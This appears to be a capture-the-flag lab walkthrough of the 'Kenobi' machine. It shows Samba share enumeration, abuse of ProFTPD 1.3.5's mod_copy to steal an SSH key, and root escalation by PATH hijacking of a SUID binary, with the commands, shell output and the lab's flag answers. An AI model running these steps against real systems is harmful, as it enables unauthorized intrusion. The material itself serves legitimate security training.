Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.
Task 1 Deploy the vulnerable machine
This room will cover accessing a Samba share, manipulating a vulnerable version of proftpd to gain initial access and escalate your privileges to root via an SUID binary.
Answer the questions below
Make sure you're connected to our network and deploy the machine
No answer needed
Scan the machine with nmap, how many ports are open?
Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.
Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.
Answer the questions below
Using nmap we can enumerate a machine for SMB shares.
Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares!
On most distributions of Linux smbclient is already installed. Lets inspect one of the shares.
smbclient //<ip>/anonymous
Using your machine, connect to the machines network share.
Once you're connected, list the files on the share. What is the file can you see?
log.txt
You can recursively download the SMB share too. Submit the username and password as nothing.
smbget -R smb://<ip>/anonymous
Open the file on the share. There is a few interesting things found.
Information generated for Kenobi when generating an SSH key for the user
Information about the ProFTPD server.
What port is FTP running on?
21
Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.
In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.
ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.
Answer the questions below
Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.
What is the version?
1.3.5
We can use searchsploit to find exploits for a particular software version.
Searchsploit is basically just a command line search tool for exploit-db.com.
How many exploits are there for the ProFTPd running?
4
You should have found an exploit from ProFtpd's mod_copy module.
The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.
We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
No answer needed
We're now going to copy Kenobi's private key using SITE CPFR and SITE CPTO commands.
We knew that the /var directory was a mount we could see (task 2, question 4). So we've now moved Kenobi's private key to the /var/tmp directory.
and we used nfs to mount /var to our local machine
now we have id_rsa locally ... ssh target
now we have user shell
root@kali:/mnt/mount/tmp# ssh kenobi@10.10.251.52 -i id_rsa
load pubkey "id_rsa": invalid format
The authenticity of host '10.10.251.52 (10.10.251.52)' can't be established.
ECDSA key fingerprint is SHA256:uUzATQRA9mwUNjGY6h0B/wjpaZXJasCPBY30BvtMsPI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.251.52' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi's account.
What is Kenobi's user flag (/home/kenobi/user.txt)?
d0b0f3f53b6caa532a83915e19224899
Task 4 Privilege Escalation with Path Variable Manipulation
Lets first understand what what SUID, SGID and Sticky Bits are.
Permission
On Files
On Directories
SUID Bit
User executes the file with permissions of the file owner
-
SGID Bit
User executes the file with the permission of the group owner.
File created in directory gets the same group owner.
Sticky Bit
No meaning
Users are prevented from deleting files from other users.
Answer the questions below
SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.
To search the a system for these type of files run the following: find / -perm -u=s -type f 2>/dev/null
What file looks particularly out of the ordinary?
/usr/bin/menu
Run the binary, how many options appear?
3
Strings is a command on Linux that looks for human readable strings on a binary.
This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).
As this file runs as the root users privileges, we can manipulate our path gain a root shell.
We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the "curl" binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!
kenobi@kenobi:~$ echo /bin/sh > /tmp/curl
kenobi@kenobi:~$ cat /tmp/curl
/bin/sh
kenobi@kenobi:~$ chmod 777 /tmp/curl
kenobi@kenobi:~$
kenobi@kenobi:~$ export PATH=/tmp:$PATH
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
# cat /root/root.txt
177b3cd8562289f37382721c28381f02
